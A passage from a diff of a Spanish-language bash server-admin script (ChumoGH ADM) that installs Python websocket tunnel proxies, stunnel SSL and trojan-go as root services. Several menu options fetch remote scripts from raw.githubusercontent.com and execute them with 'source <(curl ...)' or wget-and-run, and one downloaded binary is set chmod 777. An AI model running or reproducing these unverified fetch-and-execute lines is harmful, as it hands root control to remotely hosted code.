getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m�01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADM - LITE","\033[0;34m�01\033[1;37m"*11,"\n" + + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +) > $HOME/proxy.log + +msg -bar3 +#systemctl start $py.$porta_socket &>/dev/null +chmod +x ${ADM_inst}/$1.py + +echo -e "[Unit] +Description=$1 Parametizado Service by @ChumoGH +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/usr/bin/$py ${ADM_inst}/${1}.py $conf +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/python.$porta_socket.service +systemctl enable python.$porta_socket &>/dev/null +systemctl start python.$porta_socket &>/dev/null +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ -e /etc/systemd/system/python.$porta_socket.service ]] && { +msg -bar3 +print_center -verd " INICIANDO SOCK Python Puerto ${porta_socket} " +sleep 1s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR" +sleep 1s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + + mod3() { + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 +texto="$(echo ${texto_soket} | sed 's/\"//g')" +[[ ! -z $porta_bind ]] && conf=" 80 " || conf="$porta_socket " +[[ ! -z $texto_soket ]] && conf+=" '$texto_soket'" +cp ${ADM_inst}/$1.py $HOME/PDirect.py +systemctl stop python.${porta_socket} &>/dev/null +systemctl disable python.${porta_socket} &>/dev/null +rm -f /etc/systemd/system/python.${porta_socket}.service &>/dev/null +#================================================================ +less << PYTHON > ${ADM_inst}/PDirect.py +#!/usr/bin/env python +# encoding: utf-8 +import socket, threading, thread, select, signal, sys, time, getopt + +# Listen +LISTENING_ADDR = '0.0.0.0' +if sys.argv[1:]: + LISTENING_PORT = sys.argv[1] +else: + LISTENING_PORT = 80 +#Pass +PASS = '' +# CONST +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$local' +MSG = '$texto' +STATUS_RESP = '$response' +FTAG = '\r\nContent-length: 0\r\n\r\nHTTP/1.1 $STATUS_RESP Connection established\r\n\r\n' + +if STATUS_RESP == '101': + STATUS_TXT = 'Web Socket Protocol' +else: + STATUS_TXT = 'Connection established' + +#RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(STATUS_TXT) + ' ' + str(MSG) + ' ' + str(FTAG) +RESPONSE = "HTTP/1.1 " + str(STATUS_RESP) + ' ' + str(MSG) + ' ' + str(FTAG) + + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + intport = int(self.port) + self.soc.bind((self.host, intport)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 22 + else: + port = sys.argv[1] + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + if error: + break + + +def print_usage(): + print 'Usage: proxy.py -p ' + print ' proxy.py -b -p ' + print ' proxy.py -b 0.0.0.0 -p 80' + +def parse_args(argv): + global LISTENING_ADDR + global LISTENING_PORT + + try: + opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ("-b", "--bind"): + LISTENING_ADDR = arg + elif opt in ("-p", "--port"): + LISTENING_PORT = int(arg) + + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\033[0;34m�01"*8,"\033[1;32m PROXY PYTHON WEBSOCKET","\033[0;34m%01"*8,"\n" + print "\033[1;33mIP:\033[1;32m " + LISTENING_ADDR + print "\033[1;33mPORTA:\033[1;32m " + str(LISTENING_PORT) + "\n" + print "\033[0;34m�01"*10,"\033[1;32m ChumoGH ADMcgh Plus","\033[0;34m�01\033[1;37m"*11,"\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Parando...' + server.close() + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() +PYTHON +msg -bar3 +chmod +x ${ADM_inst}/$1.py +tput cuu1 && tput dl1 +screen -dmS ws$porta_socket python ${ADM_inst}/PDirect.py ${porta_socket} & > /root/proxy.log +print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 +[[ -e $HOME/$1.py ]] && echo -e "\n\n Fichero Alojado en : ${ADM_inst}/$1.py \n\n Respaldo alojado en : $HOME/$1.py \n" +#================================================================ +[[ $(ps x | grep "ws$porta_socket python" |grep -v grep ) ]] && { +msg -bar3 +print_center -verd " REACTIVADOR DE SOCK Python ${porta_socket} ENCENDIDO " +[[ $(grep -wc "ws$porta_socket" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws${porta_socket}/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w $porta_socket > /dev/null || { screen -r -S 'ws$porta_socket' -X quit; screen -dmS ws$porta_socket python ${ADM_inst}/$1.py ${porta_socket} & >> /root/proxy.log ; }" >>/bin/autoboot + } +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +[[ ! -e /bin/ejecutar/PortPD.log ]] && echo -e "${conf}" > /bin/ejecutar/PortPD.log +} + +#-----------SELECCION------------ +selecPython () { +msg -bar3 +menu_func "Socks WS OFICIAL ( SCREEM )" "$(msg -ama "Socks WS BETA ( SYSTEM )")" "$(msg -verm2 "Socks WS/Proxy (EPro)( SYSTEM )")" +msg -bar3 +echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +msg -bar3 +selection=$(selection_fun 3) +case ${selection} in + 1) + mod3 "${conect}" + sleep 2s + ;; + 2) + mod2 "${conect}" + sleep 2s + ;; + 3) + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + msg -ama " BINARIO NO COMPATIBLE CON ARM64 " + read -p "PRESIONE ENTER PARA RETORNAR" + exit + } || { + if wget -O /bin/WS-Epro https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/SockWS/autoStart &>/dev/null ; then + chmod 777 /bin/WS-Epro + fi + mod1 "${conect}" + sleep 2s + } + ;; + 0) return 1;; +esac +return 1 +} +#-----------FIN SELECCION-------- +selecPython +tput cuu1 && tput dl1 + msg -bar3 + [[ $(ps x | grep "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" + msg -bar3 + sleep 1 +} + +iniciarsocks () { +source $(pwd)/msg +pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\033[1;31m[OFF]" +pidproxy2=$(ps x | grep -w "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\033[1;31m[OFF]" +pidproxy3=$(ps x | grep -w "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\033[1;31m[OFF]" +pidproxy4=$(ps x | grep -w "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\033[1;31m[OFF]" +pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\033[1;31m[OFF]" +pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\033[1;31m[OFF]" +#echo -e "\e[91m\e[43m ==== SCRIPT MOD ChumoGH|EDICION ==== \033[0m \033[0;33m[$(less ${ADM_inst}/v-local.log)]" +clear&&clear +figlet 'SOCKSPY'|lolcat +msg -bar + echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m ${flech}SOCKS-PY SIMPLE $P1" + echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m ${flech} SOCKS-PY SEGURO $P2" + echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m ${flech} SOCKS-PY DIRECTO (WS)$P3" + echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m ${flech} SOCKS-PY OPENVPN $P4" + echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m ${flech} SOCKS-PY GETTUNEL $P5" + echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m ${flech} SOCKS-PY TCP BYPASS $P6" + +msg -bar + +py=7 +var_p="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "WS-Epro"| wc -l) " +var_w="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "python"|wc -l)" +var_check=$(( ${var_p} + ${var_w} )) +if [[ ${var_check} -ge "2" ]]; then + echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m ${flech} ANULAR TODOS" +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m ${flech} ELIMINAR UN PUERTO" + py=8 +else + echo -ne "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m ${flech} ELIMINAR TODOS" +fi + +msg -bar3 +echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m" +msg -bar3 +selection=$(selection_fun ${py}) +case ${selection} in + 1)colector PPub;; + 2)colector PPriv;; + 3)colector PDirect;; + 4)colector POpen;; + 5)colector PGet;; + 6);; + 7)stop_all;; + 8)stop_port;; + 0)return 1;; +esac +return 1 +} +#chekKEY &> /dev/null 2>&1 +iniciarsocks + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + + + +} + +ssrmenu() +{ +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh) +} + +trojan() +{ +[[ $(mportas|grep trojan|head -1) ]] && { +# INICIO STUNNEL ACTIVO +msg -bar +echo -e "${cor[2]} Trojan-Go ACTIVO en Puertos: $trojanports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CONTROL PANNEL \033[0;32m(#OFICIAL by @ChumoGH)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR TROJAN-GO (s)" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1) +#MOD TROJAN REFORMADO EN V5 +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/trojango-sh/trojan-sh/mod-trojan.sh);; +2) +source <(curl -sL https://git.io/trojan-install) --remove +killall trojan &> /dev/null 2>&1 +[[ -e /usr/local/etc/trojan/config.json ]] && rm -f /usr/local/etc/trojan /usr/local/etc/trojan/config.json +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +clear +echo -e "\033[1;37m Desinstalacion Completa \033[0m" +echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +;; +0) +return 0 +;; +esac +#FIN VERIFICA STUNNEL4 ACTIVO +} || { +wget -q -O trojango.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/rm-rf-bin.sh && chmod +x trojango.sh && ./trojango.sh && rm -f trojango.sh +return 0 +} + +} + +ssl_stunel() { +unset selection +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 4 \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 5 \033[0;32m(#OFICIAL)" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1) +clear&&clear +ssl_stunel4 +;; +2) +clear&&clear +ssl_stunel5 +;; +*) +return 0 +;; +esac +} + +ssl_stunel4 () { +unset lang +sslkk +[[ $(mportas|grep stunnel|head -1) ]] && { +[[ -e /usr/local/etc/stunnel/stunnel.conf && ! -e /etc/stunnel/stunnel.conf ]] && { +echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 5" && sleep 2s +ssl_stunel5 && return +} +# INICIO STUNNEL ACTIVO +#/ADMcgh/header "ports_" +sslkk +msg -bar +echo -e "${cor[2]} SSL / TLS -> STUNNEL4 ACTIVOS : $sslports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO(s) SSL" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +0) +return 0 +;; +1) +#clear +### +#head -n -2 /ADMcgh/header > headuser.sh && chmod 777 headuser.sh && source headuser.sh && rm headuser.sh +#source header "ports_" +#echo -e "Escriba un nombre para el Redireccionador SSL" +#read -p ": " nombressl +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) " +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + +echo "[stunnel] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $SSLPORT " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp +service ssh restart 1>/dev/null 2 /dev/null +service stunnel4 start 1>/dev/null 2 /dev/null +service stunnel4 restart 1>/dev/null 2 /dev/null +sslkk +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos : ${cor[2]}$sslports " +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +#echo "Limpieza Finalizada" +unset lang +return 0 +;; +2) +echo "" +echo -e " Creditos a @ChumoGH " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh) +return 0 +;; +3) +unset lang +service stunnel4 stop +msg -bar +echo -e "\033[1;33m Cerrando PUERTO SSL/TLS" +msg -bar +fun_bar 'apt-get remove stunnel4 -y' 'apt-get purge stunnel4 -y' +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +#echo "Limpieza Finalizada" +rm -rf /etc/stunnel/* > /dev/null +echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!" +msg -bar +return 0 +;; +esac +#FIN VERIFICA STUNNEL4 ACTIVO +} +unset lang +figlet " SSL / TLS " | boxes -d stone -p a2v1 +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;31m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - By @KillShito \033[0;33m(#EXPERIMENTAL)" +msg -bar +selection=$(selection_fun 6) +case ${selection} in +1) +msg -bar +echo -e " Para Crear su Certificado SSL \n En su Primera instancia coloque Codigo de su PAIS \n Ejemplo : EC " +msg -bar +echo -e " A continuacion los codigos de Validacion de su Certificado" +read -p " Presiona Enter para continuar la Instalacion" +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ssl) +return 0 +;; +2) +#sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /ADMcgh/sshports.txt && cat /ADMcgh/sshports.txt`; +#sshports=$(cat /ADMcgh/sshports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +3) +car_cert () { +[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +} +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i "22" portx + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + return + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:" +msg -bar + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > 